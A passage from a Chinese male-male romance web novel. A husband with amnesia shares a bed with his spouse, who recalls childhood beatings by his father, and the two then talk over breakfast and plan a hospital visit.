顾听岚打心底里不愿承认对方是自己的父亲，所以每次称呼对方时，都会很勉强。
“你爸爸？他为什么不相信你？”
说完后，程想想起更早之前聊过的内容，问道，
“难道是你小时候说腹部疼，你爸爸不信吗？”
“他一开始是相信的。”
其实顾父一开始就不信，是顾听岚一厢情愿认为父亲曾经信任过他。
“那后来怎么不信了？”程想忽然觉得说起往事的男神，真的很像个需要保护的小朋友，声音不自觉地放得更软。
“他带我去医院做检查，医生检查不出来问题，他就……”
后面的话，顾听岚不愿意说了。
程想等了一会儿后，试着补充：“他就不相信你了，是吗？”
“……嗯。”敞开心扉是一件太困难的事情，顾听岚决定终止话题。
哪知，程想却很有深究的意思：“除了不相信你外，还有吗？”
别看他平常大大咧咧，但是对于心上人的事，格外上心。
哥哥程铭跟他说过，顾听岚的爸爸在有了新家庭后，不仅不再管大儿子，还对大儿子很不好。
“怎么不好？总不能打骂自己孩子吧？”程想虽然这样问哥哥，其实是不太相信的。
顾听岚是那种乖到有些木讷的性格，这样的人小时候，只会更加听话。
就算他爸爸想打骂，估计也找不到机会。
家庭幸福的程想，并不知道有些家长，是没有理由也会随意打骂自己孩子的。
“何止打骂，还克扣他的生活费呢。”程铭接下来的话，却戳破了程想的天真想法。
程铭本来还认为弟弟让他找人打听顾听岚的过去，有些不太光彩。
等打听到后，只恨知道得太晚了。
他跟弟弟一开始想的一样，认为家长都是讲道理的，不会随意打骂自己孩子。
顾听岚又那么乖，就算他那个偏心眼的爸喜欢打骂他，一来对着自己亲生的孩子，不会下多重的手，二来很可能找不到机会打骂。
但是克扣生活费就是很严重的事情了。
青少年时期正是生长发育的阶段，特别是男生，个子窜得快，饭量大，顾听岚又一直住校。
就算生活费够用，食堂的饭就那么多，过饭点就没有了，半晌饿了都没处找吃的。
生活费再紧缺，不敢想要怎么过。
程想猜想过顾听岚学生时代应该过得很艰难，等知道具体内情后，对方已经大四了。
他要高考，也没机会做些什么。
这时候听到顾听岚说起父亲不相信他生病了，程想眉心一拧，首先想到的就是，对方终于逮到机会找大儿子的麻烦了。
顾听岚又一直不回答，更加印证了他的想法。
“听岚哥，你第一次腹部疼，是几岁？”程想又问起这个问题。
“……”这次顾听岚几乎没有思考，就回道，“7岁。”
才7岁，好小。
程想更心疼了，继续问：“那你爸以为你没有生病后，是不是打骂你了？”
“……”27岁的顾听岚自然是不可能回答的。
要他说什么呢？
说第一次发病的时候，不仅他自己吓到了，就连一向疼爱他的班主任也紧张得不行。
连忙打电给他那个有了新妻子新儿子的父亲。
那时候那个男人不仅家庭美满，事业也风生水起。
要不是班主任在电话里将他的情况说得很严重，那个男人还不会管他。
后来就是他被接走，去医院做检查。
如果事情到此为止，那将是一个还算圆满的结局。
但坏就坏在，几番检查下来，又拍了片，仍旧没有查出病因。
最后，头发花白的医生说道：“可能是小孩子顽皮，或者对疼痛太敏感，哪怕没有什么事，也会表现得很严重。”
老医生这句话，直接给他判了死刑，令那个男人更加相信他是为了不住校，故意装病找事。
将他拖回家，就是一阵毒打。
那时候腹部的疼痛还没有缓解，他就又遭受了皮肉的伤害。
7岁
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的孩子，在一个成年男人面前，有什么反抗之力呢？
他只能尽量把自己蜷缩起来，缩成小小一团，避免被打的地方更多。
可能因为这个自保的姿势会缓解腹部的疼痛，也可能是被挨打的疼痛盖了过去，总之后来他回想起来，只记得那个男人对自己亲生儿子，下手是真狠。
狠到让他怀疑自己是不是捡来的。
小孩子总是傻得出奇，记吃不记打。
后来，也就是半年多后，他再次犯了病。
腹部的疼痛比上一次还要厉害。
他没有因为上次的毒打长了记性，不再让那个男人知道。
反而以为是洗刷清白的时候到了，主动、甚至是迫不及待让班主任联系家长。
他那时候真的希望出现，后来看过的小说里写的那种打脸剧情。
他衷心期盼医生能检查出他的病因，让那个男人知道，他没有装病，也不是爱撒谎的孩子。
上次误会他，打他，他可以忘了，只希望那个男人不要再冤枉他。
他甚至没幻想过那个男人对自己产生愧疚之心。
第二次把来学校接他的，是一个陌生男人，对方自称那个男人的助理。
他不在意谁来接他，只希望这次医生能够还他一个公道。
可能小孩子总是会有一些不切实际的可笑幻想，第二次检查过后，医生依然没有找出病因。
他大为震惊，不敢相信换了医院，医生仍旧诊断不出来病因。
“我腹部真的很疼，我没有撒谎。”这一次，他知道了要为自己辩白。
医生按压着他的腹部，问道：“是左边疼，还是右边疼？”
“左边。”他把医生的手放在疼痛的地方。
“腹部右下侧是阑尾，左下侧什么都没有，怎么会疼呢？”医生的话，似乎是在嘲笑他谎都不会撒。
那一刻，他知道，他的天塌了。
“顾总很忙的，你就是真生病他也没时间来看你，更别说装病了。年纪小小的，还是把心思都花在学习上吧，别总想歪门邪道。”
助理将他送回学校门口时，对他说的这番话，哪怕过了20年，他依然记得一清二楚。
他小时候因为没有接受过正向的情感教导，并没有感受到那个助理话里的恶意，也没空感受。
腹部的疼痛，就已经让他自顾不暇了。
他疼得只想满地打滚，不明白医生为什么一口咬定他没病。
虽然“撒谎装病”的帽子没有摘下，但这一次没有再挨打。
也算是不幸中的万幸了。
结果没过两天，那个助理又来学校找他。
他以为医院那边出新的诊断结果了，没想到对方把他送到家里就走了。
之后那个男人，他亲生父亲出现了。
毫不意外的，他又被打了一顿。
“我就知道你是个养不熟的白眼狼。你是不是恨我把你丢到寄宿学校不管不问，是不是恨我对你不好，你就想尽办法找事，是不是？”
“我告诉你顾听岚，我还愿意花钱养你，让你上学，你就该感恩戴德了，下次再作妖找事，我就打断你的腿！”
这一次，年仅7岁的顾听岚明白了，比起身体的疼痛，语言的杀伤力更强。
也不再对这个亲生父亲，报有任何希望。
13. 同床共枕
在极度绝望之下，小小的顾听岚萌生出了消极的念头。
他希望下次这个怪毛病再犯的话，求求让他疼死好了。
他曾经许过很多让自己变好的愿望，一次都没有实现。
没想到这次诅咒自己的愿望，却灵验了。
不久后，腹部的疼痛又再次降临。
这一次他学乖了，没有再去找那个男人，甚至连班主任都没说。
他谁都没告诉。
他当然没有疼死。
不过后来疼得次数多了，他有了经验，只要蹲下努力把自己蜷缩起来，十分钟左右就会好了。
这一招，百试百灵。
那个老医生说的没错，他确实没病。
要不然怎么不用吃药，就能好呢？
都说童年的创伤，需要用一生去治愈。
即使顾听岚长大成人，有了赚钱的能力。
对于这个伴随了20年的老毛病，从来没有想过去医治。
小时候那两次看病的经历，像颗定时炸.弹悬在头顶，他不敢再去引.爆它。
而且，他也习惯了这种偶尔疼一下的感觉。
就好像……
就好像提醒他，他还活着。
行尸走肉般地活着。
他以为人生就这样了，却没想到，迟到了一二十年的光亮，终于照到了他的身上。
虽然相信他的人，并不是误会他的人。
但这就够了。
他总是很容易满足。
甚至因为对方在这一件小事上，愿意无条件相信他。
他就可以将对方做的那些混账事，一笔勾销。
“明天我休息。”
眼泪止住后，顾听岚从温暖有力的怀抱中挣脱出来，低垂着眼帘说道，
“但我这个是老毛病了，就算换医院也检查不出来原因，反正就疼那一阵儿，也不影响什么。你明天还要上班，还是早点休息吧。”
“既然你明天不上班，那不是正好么，去趟医院又不费什么事，万一其他医院检查出来了呢？这不是小事，要重视起来啊听岚哥。”
程想不知道男神小时候的悲惨遭遇，只知道身体不会无缘无故，只要多跑医院，总能查出病因。
“可是你明天要上班……”
“上班哪有你的身体重要，我明天请假，不对，我现在就请假。”
说完，程想就掏出手机。
看到屏幕上显示的时间已经过了0点了，又不好意思地收起手机，
“这会儿有点晚了，我明天一早再请假吧。”
顾听岚诧异地看了眼程想。
直到这时，他才有些相信对方真的失忆了。
人在下意识时做的行为，最能反应内心。
而且在以前，程想从来不会因为时间太晚了，不去打扰那些下属。
本来做销售的，也没有什么上下班，都是24小时待命。
不过，有失忆一下子忘记好几年的吗？
顾听岚对这方面不懂，他既然决定原谅对方，便选择相信。
但多年前的阴影，让他深信自己是得了什么很难发现的怪病，对医院很是抵触。
而且，万一那几个医院不仅也检查不出什么，反倒让程想不再相信他，不是得不偿失么？
要是……对方不相信他的话。
那也好。
继续离婚就是了。
“那听你的吧，不过，我这个毛病真的检查不出来。”顾听岚现在不是很想离婚，便打了个小小的预防针。
见男神终于有所松动，程想趁热打铁道：
“没事，要是检查不出来，咱们就去国外，国外也不行还可以试试中医，听说中医很厉害，把个脉就能把陈年老疾看出来。”
“你……”看出程想不是一时兴起，是真的将这件小事当成大事来对待，顾听岚突然觉得心里暖洋洋的。
原来被关心是这样的。
感觉可真好啊。
“我怎么？”程想生怕男神又改变主意，紧张地问道。
“没什么。”顾听岚瞥了眼程想穿的睡衣和拖鞋，抿了抿唇，说道，“很晚了，睡觉吧。”
他虽然只披了件外套，因为畏寒，睡衣是加厚的，对方穿着单薄在外面跑了一圈，会不会感冒？
动了恻隐之心的顾听岚，又补充了一句：“你先去洗个澡吧。”
泡个热水澡，应该能预防得风寒。
“好，”程想习惯了事事以男神为先，捏了捏顾听岚一直冰凉的手指，说道，“你先洗吧。”
“……”顾听岚怔了下，灰色的眸子在程想脸上扫视了一圈后，轻轻“嗯”了一声。
他有轻微洁癖，去卧室拿了套干净睡衣，才去洗澡。
他吃过晚饭后，已经洗过澡了。
这时候再洗，随便冲冲就可以了。但他还是花了些时间，才洗完。
程想一直在客厅乖乖等着。
他只顾思考怎么安排明天的行程，倒不觉得等得有点久。
由于脑子里一直想着事情，等洗完澡后看到卧室的门一直开着，程想熟门熟路地便进去了。
顾听岚靠坐在床边看书，看到程想不打招呼就闯了进来，也没有出声阻止。
只用一双透亮的眼睛，呆呆盯着他。
习惯成自然，程想快走到床边才意识到，这套房子现在不是他的了。
为了掩饰尴尬，他脱口问道：“听岚哥，你答应明天跟我去医院了，对吗？”
“嗯。”顾听岚低下头，没有再看程想，但那声回应却很肯定。
其实这时候，应该走了。
但程想有些舍不得，又没话找话道：
“明天做完检查，我们去吃好吃的，你有想吃的吗，或者想好了明天告诉我也行。”
“嗯。”顾听岚把手里的书收起来。
看起来他要准备入睡了，但将书放在一旁的床头柜上之后，便停住不动了。
程想注意到这里的飘窗上，也摆着一大束色彩明亮的鲜花，又有了多赖一会儿的理由：
“听岚哥，你是不是很喜欢在卧室摆放鲜花？我看到你在婚房里放的暖黄色花束了，真漂亮，让人看了心情不由自主就会变的很好。”
顾听岚将目光瞥向那束粉色系的鲜花，点了点头。
他是因为日子过得太苦闷了，赚到钱后，便养成了买花装点心情的习惯。
“很晚了，明天再聊吧。”顾听岚也看出程想在没话找话说，主动打破尬聊，“你要睡左边还是右边？”
“啊？”程想被问得一愣，下
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意识问道，“什么左边右边？”
顾听岚也是一愣。
他又仔仔细细看了程想脸上的神色，这才发现自己误会了。
刚才在客厅的时候，对方捏着他的手指让他先洗澡，他还以为是某种暗示。
原来是自己想岔了。
顾听岚捏紧被角，当即尴尬得无地自容。
他来不及找理由把这句话圆过去，倒给了程想思考的时间。
等反应过来刚刚那句话是什么意思后，快乐小狗开心得想要飞上天。
“听岚哥，你是在邀请我……吗？”
邀请他也睡主卧？
他没有会错意吧？
“……没有。”顾听岚拉起被子把自己蒙了起来。
但是露出来的绯红耳朵，还是泄漏了他的心思。
“我刚明明听到了，你就是……”程想原本还想争论一番，想到两人本就是夫夫，如今关系又有所缓和，睡一起不是理所当然的么？
程想便止了话头，急匆匆跑出去，拿上丢在沙发上的手机，将客厅的灯关上，又回了卧室。
在关卧室门的时候，他才后知后觉明白过来，原来这门之前不是忘记关了，而是听岚哥给他留的门。
哎呀，可真是好啊。
这么快就能和男神睡一起了。
程想把一激动，顺手把卧室的灯也关了。
屋内顿时暗了下来。
因为住在一楼，窗帘买的是厚重的遮光材质。
这会儿又是深夜，说是伸手不见五指都毫不夸张。
不过程想对这里很熟悉，就算闭上眼睛，也能找到床在哪里。
顾听岚是有些古板，又极易害羞的性格，这会儿彼此看不见，倒也缓解了些许尴尬。
程想熟练地绕过床尾，在另一头的床边坐下。
顾听岚将头蒙在被子里，并不知道屋内的灯被关了。
感受到对面床垫的塌陷，知道程想上了床。
这让他更害羞了，用被子把自己裹得更紧。
“听岚哥，分我一点被子，之前你给我的被子我没拿进来。”
其实这时候出去拿也不是不可以，但程想就是想跟男神盖一条被子。
他们都结婚好几年了，同盖一条被子不是天经地义么？
要是换成别人，就算不让程想出去拿被子，也会再找一条给他。
古板又木讷的顾听岚却想不到这些，即使整个人都红成了熟透的虾，他还是听话地抖着手，分了一半被子出去。
程想很了解男神的性格，能做到分被子这种行为，都可以说是真爱了。
他当然不会以为想离婚的男神还爱着他，只能算是余情未了。
不爱他他都铆足了劲儿追男神，对他有点感情，那他简直可以原地起飞了。
当然，别看程想心里跟开了加速器似的，胡思乱想一通，实际上的他，非常老实地平躺在床的另一边。
别说趁机占点便宜什么的，就连动都不敢乱动。
他是一沾枕头就睡的体质，这张床上虽然只有一条被子，枕头还是有两个的。
枕着散发着荞麦香的松软枕头，累了一天的程想，又开始昏昏欲睡。
就在他正要进入梦乡时，一只微凉的手，轻轻搭在了他的手腕上。
14. 做吗？
！！！
程想猛地睁开了眼睛。
他在不久之前，刚摸过这只手，对这个微凉的温度再熟悉不过。
还不知道对方是什么意思时，程想便行动比脑子快的握住了那只手。
因为是在被子里，他还大胆地来了个十指紧扣。
这套房子程想住了三年，失忆前就是从这里离开，准备去找顾听岚告白。
尽管已经知道这套房子现在换了主人，他还是没办法把自己当成客人来对待。
他以为男神是因为害怕，在向他寻求保护，结果就听对方轻声说道：“我刚、洗得很干净。”
男神有点小洁癖，他是知道的，也跟着说道：“今晚洗了两回澡，我也很干净，嘿嘿。”
还没笑完，温热的额头便抵在了他的肩头。
错乱的呼吸喷过来，顺着手臂一路麻到了心里去。
程想半边身子当即瘫在了那里。
大脑一片空白。
而一直主动的顾听岚，也到了极限。
要不是程想果断地握住他伸过去的手，他也不敢厚着脸皮靠过去。
两人已经贴在一起了，却没了下文。
这让顾听岚既羞赧又混乱。
他本来就在情感问题上，有很大的欠缺。
程想又总是对他忽冷忽热，他一直都弄不明白对方到底是怎么想的。
现在倒是能看懂一些了，但不知道这失忆什么时候恢复，又是不是真的，顾听岚只能按照自己的心意行事。
因为猜不透别人的想法，他便只专注自己的感受。
这也算是一种不内耗了。
就像现在，他感受到原本主动的男人，又不主动l ，便忍着漫天的羞耻，问道：“不、做吗？”
“？？？”程想脑子还在宕机，本能地问道，“做什么？”
顾听岚在黑暗中，埋怨地瞪了瞪不知道是装傻还是真傻的男人。
“听岚哥，到底是做什么？不要话说一半，我猜不到。”
心理年龄还是18岁的程想，在男神面前不自觉撒起娇来，把头也往对方那边靠过去。
“你失忆后，声音变得有些不一样了。”
顾听岚早不记得程想5年前的声音，只是对比几天前，察觉出了差别。
人在喜欢的事物面前会不自觉地夹起声音。
比如对着萌萌的小猫小狗时。
程想就是这样。
他自己都没有发现自己的声音有什么不同。
“是吗？可我只是失忆了，身体又没有变。”
程想很喜欢这样和男神一边互相依偎着，一边闲聊的状态，趁着气氛正好，偷偷问道，
“那听岚哥，你喜欢我现在的声音吗？”
本以为对方不会回答，哪知话音刚落，一声坚定的“嗯”响在耳边。
“听岚哥，我也很喜欢你的声音，很像雪融化，或者是清泉流动的声音，真好听。”程想一夸起男神，就刹不住车了。
这话太抽象了，顾听岚没太听懂，只知道是在夸他。
因为从小到大，没怎么受到过夸奖。
就算是学习好，也因为他的性子不讨喜，老师也不会总是夸他。
所以，顾听岚听到别人夸奖自己，会习惯性回避，和觉得不是真的。
等程想侃侃而谈夸了一通后，顾听岚没有什么情绪波动，还能平静地继续之前的话题：“我说的做，就是make love的意思。”
“？？？”程想反应了好一会儿，才理解是什么意思，瞌睡虫顿时吓得消失无踪，“你、我……”
让一个还停留在18岁的人，突然面对成人话题，委实有些意想不到，也太刺激了。
程想整张脸瞬间红了，好在关着灯，没人看得到。
就在他慌乱地不知道该怎么接话时，顾听岚又开口了：“你、是不是……没这个意思？”
程想怎么会没这个意思，只是没想到会这么快，而且男神白天还态度坚定地要跟他离婚，怎么这会儿却又要跟他……那个。
成人世界，这么魔幻的吗？
“我、我……”眼见气氛越来越僵，程想很想说些什么缓和一下，结果越急越说不出话来。
“你要不想，那就算了。”顾听岚非常体贴地结束了这个话题，“不早了，睡吧。”
他又平躺了回去，但却没有挣开被程想紧扣的手。
一开始说起这个话题时，程想只想赶紧让它结束。
等真的结束后，他又有些不舒服。
直到这时，他才彻底明白过来。
顾听岚给他留门，不仅是邀请他睡卧室，而且还包含那方面的暗示。
其实都是明示了。
是他不懂，没有看出来。
他们是夫夫，结婚也有2年了，夫夫生活说不定像吃饭一样稀松平常。
是他太大惊小怪了。
再说了，夫夫生活也是婚姻义务，他刚刚的婉拒，会不会不太好？
程想握紧和顾听岚紧扣的手，将整个脑袋都枕在男神肩膀上，用卖萌的声音说道：“听岚哥，对不起哦。”
“没事。”顾听岚很快回道。
“我失忆了，”
这样说很像是在为自己开脱，程想停顿了下，继续道，
“我不是要给自己找借口，就是在我这里，我都还没有追到你呢，啊不对，是我们刚在一起，我说错了，我追到了，刚刚那句不作数的。”
好家伙，一句话差点把自己说成单身。
程想心有余悸地大口喘气。
“痒，你别对着我呼吸。”顾听岚不舒服地动了动。
“好好。”程想忙把脸摆正。
“你不用解释，我能理解，睡觉吧，明天还要早起呢。”顾听岚把手从程想那里抽了出来。
“听岚哥，”程想又握住他的手，“请你给我点时间适应，好不好？等下次，我一定……”
“下次是什么时候？”顾听岚没有听完，便打断道。
“呃？”程想一下子被问住了。
这他哪里知道？
在这节骨眼上，他突然开了窍，扭扭捏捏问道：“我们之前，都是怎么来的啊？”
“怎么来？”顾听岚没有听懂，“你是指什么？”
“？？？”
程想不明白怎么又问回自己身上了，费了老大的劲儿克服羞耻后，说道，
“就是频次哇，比如一周……几次这种。”
说完，他用手捂住发烫的脸颊。
聊这种话题，真的太费心脏了。
这么简单的问题，不知道顾听岚为什么沉默了。
程想害羞完，也发现了对方沉默的时间有点久，他忽然想到了一个梗，小心脏又提了起来：“听岚哥，你不说话，不会是在数、数次数吧？”
救
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命——
他竟然这么勇猛的吗？
“……不是，”不知道顾听岚是为了维护程想的尊严，还是别的原因，语气异常冷淡道，“有时候两次，有时候三次，不固定的。”
“……哦。”程想听完，有些失望。
他以为最起码也会隔一天做一次的。
他高中很喜欢看小说，那时候很很流行“一夜七次郎”的说法。
虽然一听就是假的，但小说源自于生活，现实中肯定会有很强悍的，比如每天都做一次。
他以为自己也是这样呢。
男人嘛，总是会对自己有着莫名的自信，尤其是这方面。
“怎么，你……不相信？”大概感觉到程想的自尊心受到伤害了，顾听岚问道。
“没有没有，我信的。”程想不敢再继续这个危险话题，快速下了结论，“那等过两天，我们……我们……”
“嗯。”顾听岚估计听出来这句话只是为了应付他，但也很快同意了。
“那、我们休息吧。”
“好。”
顾听岚越是回应得很快，程想心里越没底，张张嘴想说些什么，又不知道该说什么才好。
最后，他硬着头皮问出那个最敏感的话题：“听岚哥，这样是不是说明，你不想跟我离婚了？”
果然，这次顾听岚没有再迅速回答他。
程想知道触到了对方的逆鳞，不敢再吭声了。
就在他闭上眼睛，强迫自己入睡时，顾听岚才给出了答案：“我……不知道。”
“？？？”这下子，程想彻底是不困了。
怎么都愿意跟他那个了，却还没想好要不要离婚？
成年人可以做到身心分离的吗？
哦对了，他也是成年人。
虽然才刚成年。
“你……鼻子不舒服吗？”顾听岚虽然说着关心的话，语气却没什么温度。
程想一愣：“啊？我鼻子没有不舒服。”
“那就好好呼吸，别这么用力，刚刚你的呼吸声，非常……吵。”顾听岚知道这样说很不礼貌，却忍不住想提醒一下。
最开始的时候，他就是因为对方的呼吸声太大了，吵得他睡不着，才出去想提醒一下对方。
结果没想到老毛病竟然犯了。
一来二去，让他对程想有了些改观，导致对于离婚这件事，产生了迟疑。
他刚刚那样回答程想，并不是敷衍，或者故意吊着对方。
而是他真的很迷茫。
在最初因为程想愿意相信他时，他是打算不离婚的。
但是等说起这个话题后，他又犹豫了。
人都是这样，最喜欢反复无常了。
或许，也不是他反复无常。
程想拒绝他的求.欢，也起着关键作用。
也或许没有。
顾听岚自己也理不清。
程想倒没有感到受伤，他这会儿心跳如雷，也觉得自己的动静有点大：“好，我轻点呼吸，要不然我还是睡客厅吧。”
不知道是不是错觉，他总觉得受伤的那个人是顾听岚。
便有些不敢呆在对方身边了。
“别走，”顾听岚立即叫住他，“就睡在这里。”
“好嘞。”程想开心地蹭蹭顾听岚，然后又立即拉开距离。
“其实……”顾听岚用略带迟疑地语气道，“你可以靠着我睡。”
15. 早餐
男神都发话了，程想当然毫不客气地靠了过去。
并且还得寸进尺地搂住对方的腰。
当然只是虚虚搭着，并不敢造次。
这腰可真细啊。
感觉一把搂住还有空余。
程想起之前抱顾听岚的时候，就感觉对方格外轻。
这会儿更是有了实感。
看来，以后得想办法把对方养胖。
抱着这样的想法，程想像只粘人的萨摩耶似的，搂着顾听岚进入了梦乡。
可能是睡前想到了吃的，第二天就被饭香味馋醒了。
他以为还在梦里，翻了个身打算继续睡。
结果这香味一直在鼻尖萦绕不散，好像真在眼前似的。
程想顿时醒了。
下床去到外面，隔着厨房玻璃门，他看到一道身影在里面忙碌。
男神竟然在做早饭！
哎不对，男神竟然会做饭欸！！
程想深吸了一大口气，发现对方不仅会做饭，还做得不对。
光闻味道，他就馋得直流口水。
“听岚哥，”程想狗狗祟祟扒在厨房门上，又不自觉地夹着声音说道，“早上好呀，你做得的饭好香，我口水都流出来了。”
正在炒菜的人听到声音，往身后看了一眼。
乖乖等在门口的男人，莫名很像只小狗。
想到对方中二的圈名，顾听岚唇边忍不住露出一抹淡笑。
因为从小到大一直在学校住宿，导致他几乎没在家里吃过饭。
小时候家里还有个保姆照顾他，初中后他就完全是一个人了，就算回了家，也只有自己。
特殊的生长环境，令顾听岚非常向往家庭生活。
对于做饭也产生了很强的执念。
他其实这两年才开始学做饭，对于自己的厨艺很没底。
听到程想捧场的评价，虽然依旧不太信，但心里却是很高兴的。
等程想洗漱完后，顾听岚也做好了早饭，并且端到了餐桌上。
“哇，好丰盛的早餐，一会儿我刷碗，听岚哥你真是辛苦了。”
程想在情绪价值这一块做得很好，夸完后，才开始动筷。
第一筷子，还先夹给对方。
顾听岚只是会做饭而已，早餐也没什么可发挥的余地。
他本来是抱着程想尝过后，就不再夸他的想法在等对方先吃，结果却被夹了菜。
有洁癖的他，下意识把碗拿开了。
程想举着筷子的手，就这么尴尬地停在了半空中。
“抱歉，我不习惯这样吃饭。”顾听岚解释道。
“哦，没事，每个人吃饭的习惯不一样，你不喜欢的话，我以后不这样做就是。”
程想只尴尬了几秒，便收回筷子，将菜塞进自己嘴里。
见程想没事人一样吃得很香，顾听岚内疚感终于没有那么重了，也慢悠悠吃起来。
等吃完后，程想真如他所说的，很自觉地收拾碗筷，拿去水槽里洗。
吃了美美的一顿早饭，快乐小狗心情很好，边刷碗边哼起了歌。
听到《大王叫我来巡山》这首有些年头的歌，顾听岚恍惚间被拉到了学生时代。
他对这首歌很有印象，除了是电影插曲外，还是跨年歌曲。
流行最容易过时，年轻人又比较偏爱跟风。
大家挂在嘴边的，一般都是当下流行的歌曲。
程想又是网上冲浪小达人，能随口唱出一首几年前流行的歌曲，可见在他的印象里，这首歌并没有过时。
还真是不记得这几年的事情了？
看着程想高大的背影，顾听岚突然生出验证的冲动。冷不丁说道：
“我昨天遇到何昊谦了。”
“哈？”程想回头，疑惑道，“何昊谦是谁？”
“你不记得了吗？”顾听岚认真观察程想的面部表情，“他是你高中同学。”
“高中同学？”程想更纳闷了，“高中的事情我记得清清楚楚，没有失忆。我高中没这个同学啊，是别的班的吗？不对，我不爱跟外班的人玩儿，外班的我基本都不认识。”
“你高中复读了一年，他是你复读时的同学。”
“纳尼？”程想大吃一惊，碗都顾不上洗了，快步走到顾听岚身边，“我高考成绩那么好，怎么会复读了？难道是那年艺考生成绩都很好，我滑档没被录取上？”
他是铁了心要上青大的，如果没考上，确实会选择复读。
“这个我不太清楚，程铭应该知道，你回头可以去问他。”
试探到这里，应该可以断定程想的确失忆了。
但顾听岚仍旧不死心问道：“你真的不记得何昊谦了？”
“我没有一点印象。”程想虽然被自己复读的消息打击到了，但没忽略男神的问题，“这人是男是女，我跟他关系很好吗？”
这个人能被男神记住，证明他之前没少在对方面前提起过。
他性格外向，很爱结交兴趣相投的朋友。
会有新朋友一点不奇怪。
程想现在连这个断片的五年，都没打听清楚，哪有精力关心新朋友的情况。
会这么问，是因为发现顾听岚得对此人表现得有些在意。
他以为顾听岚会跟他简单介绍一下，结果却听对方说道：“他是男的，我不清楚你们关系如何。”
程想：“？？？”
这话，怎么听着这么暧昧？
他瞬间想到了他哥和好友，说他出轨的事。
这个叫何昊谦的，该不会就是他出轨的对象吧？
呸！
他才没有出轨。
23岁的他，肯定也不会出轨。
这里面肯定有天大的误会！
他瞬间想到了他哥和好友说他出轨的事。
这个叫何昊谦的，该不会就是他出轨的对象吧？
呸！
他才没有出轨。
23岁的他，肯定也不会出轨。
这里面肯定有天大的误会！
顾听岚只是提了下这个人，如果贸然解释的话，很有此地无银三百两的意思。
程想便决定岔开这个话题：“那我应该跟这个人关系不好，我一点都不记得，估计在路上碰到，也认不出来。别提他了，我们还是准备出发去医院吧。哎呀——”
他猛地敲了下头，懊恼道，“我居然忘记请假了，我的天呐，这么重要的事情我怎么能忘呢？”
说完，程想就掏出手机要给王秘书请假。
他虽然是顾总，但是也不能无缘无故翘班。
“别打了，我已经帮你请过假了，”顾听岚及时拦住他，“我做早饭前请的，没有打扰到你的员工。”
“你帮我请过了？”程想开心地飞扑过去，把细心体贴的男神抱在怀里，“谢谢谢谢，太感谢了听岚哥，没有你我可怎么办啊。”
摇着尾巴的小狗，简直开心到飞起。
“这……不算什么。”顾听岚被这个激动的拥抱撞得往后退了半步。
他并没有觉得做这件事有多么值得称赞，其实在做的时候，还很担心程想埋怨他多事。
昊鑫地产是他和程想一起创办的，至今他还挂着二老板的名头。
但是失忆前的程想，很介意他插手公司的大小事务，就连问都不让问。
如今失忆后，不仅不介意他擅作主张，竟然还这么感谢他。
要是程想一直失忆该多好啊。
虽然很不应该，也很不道德，但他就是发自内心这样希望的。
现在的程想，很像他刚开始认识的样子。
处处透着可爱可爱。
失忆，还能心理也跟着变小么？
就在顾听岚思考这个深奥的问题时，程想的手机突然响了起来。
顾听岚像只受惊的兔子般，快速从顾听岚怀中挣脱出去。
“咦，我没打出去电话啊，怎么又给我打过……”
程想还以为是王秘书打来的，等看到手机屏幕上的名字后，倏地消音。
何昊谦。
A市还真是地邪，刚提到谁，谁就立马出现。
虽然程想坚定地认为自己清清白白，在接电话的时候，还是后退了几步，显出几分心虚。
失忆前的他，经常在顾听岚面前这样，因此顾听岚不仅没有起疑，还主动去让出空间，回了卧室。
程想看了眼顾听岚默默离开的背影，这才接起电话。
“喂……”
“程想哥哥，终于联系上你了。你最近是不是很忙？我之前给你发信息你都没空看。”
一接通，对方就到豆子似的说了一大堆，压根给不给程想开口的机会。
程想哥哥……
程想本人沉默了。
这个牙酸的称呼，是怎么叫出口的？
就在他思考着要不要指出来时，对方又连续唤了他好几声：
“程想哥哥，程想哥哥？你在听吗？”
“我在听。”程想捏了捏眉心，不打算计较称呼问题了，直接问道，“你找我有什么事？”
虽然已经知道两人是相熟的，但他没有相关记忆，说话便很是客气。
对方应该听出来了，抱怨道：“程想哥哥，你是还没起床吗？怎么这么大的起床气呀。”
嘶——
虽然程想自己也很爱撒娇，尤其在喜欢的男神面前。
但自己爱撒娇是一回事，别人对他撒娇，他就很是受不了。
如果日常相处中，对方也是这个画风的话，他们肯定不可能成为朋友。
成为出轨对象就更不可能了。
程想更加有底气了，语气也更加冷淡：“你打电话来，是有什么事吗？”
何昊谦被这陌生的语气吓到了，停顿了几秒后，压低声音道：“程想哥哥，你现在是不是跟姓顾的在一起呢？”
姓顾的是谁？
程想正要问，突然想起来他只认识一个姓顾的，差点气抽过去。
好家伙，这人是谁？
凭什么称呼他男神为姓顾的？
“那我晚一会儿再打过来。”不知道将程想惹恼的何昊谦，非常懂事地又补了这么一句。
“不用再打来了，我很忙。”
程想就算非常
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生气，也说不出难听的话，只严厉地回复了这一句，然后挂断电话。
一大早的好心情，因为这个突来的电话，瞬间消失无踪。
程想低头看着通讯录里对方的名字，犹豫再三，没有冲动地删掉。
在没有想起，或者了解这五年都发生了什么时，他不会随意切段和谁的联系。
站在原地调整了会儿心情后，程想又扬起笑容，脚步轻快地去了卧室。
“听岚哥，抱歉让你久等……哇，听岚哥，你这一身好帅哦！”
一推门，看到男神一身粉白色的休闲装扮，程想眼睛猛地一亮，唇角也高高扬起。
“你长得这么好看，就应该穿明亮的颜色，天呐太好看了，感觉你现在比上大学那会儿还要年轻漂亮，我太喜欢了，等一下，站着别动，我要拍照留念。”
程想实在是太激动了，还没得到顾听岚的应允，就拿起手机对着男神一阵猛拍。
顾听岚显然是没有什么拍照经验，就那么僵硬地站在那里。
自信看，还能看出他的手足无措。
程想并没有察觉到他的紧张，拍完后，还继续夸赞道：“听岚哥，你太厉害了，每一张都好好看，完全不输平面模特。”
“……”顾听岚低头看看自己随意搭配的衣服，和单调的卧室背景，不明白面前的人，是怎么夸出口的。
他是很少穿浅色衣服，也很久没穿这种显年轻的衣服了。
但他今年已经27岁了，比夸他的人还要大上4岁，早就跟年轻好看没有什么关系了。
其实他从没觉得自己年轻好看过。
“你也换身衣服吧，我在外面等你。”
很少被夸奖的人，是不懂得如何回应夸奖的。
顾听岚这句话，很有泼冷水的嫌疑。
好在程想了解他的性格，并没有被打击热情，还很乖地用力点头：“好的，我也要找一身和你这套差不多的来穿。”
他习惯了这间卧室，以为自己的衣服还在衣柜里摆着。
等打开衣柜门，看到陌生的一排衣服后，当即傻眼了。
哦对，现在是五年后了。
这套房子也不是他的了。
衣柜里没有他的衣服很正常。
对了，他可以穿听岚哥的衣服啊。
反正他们的……
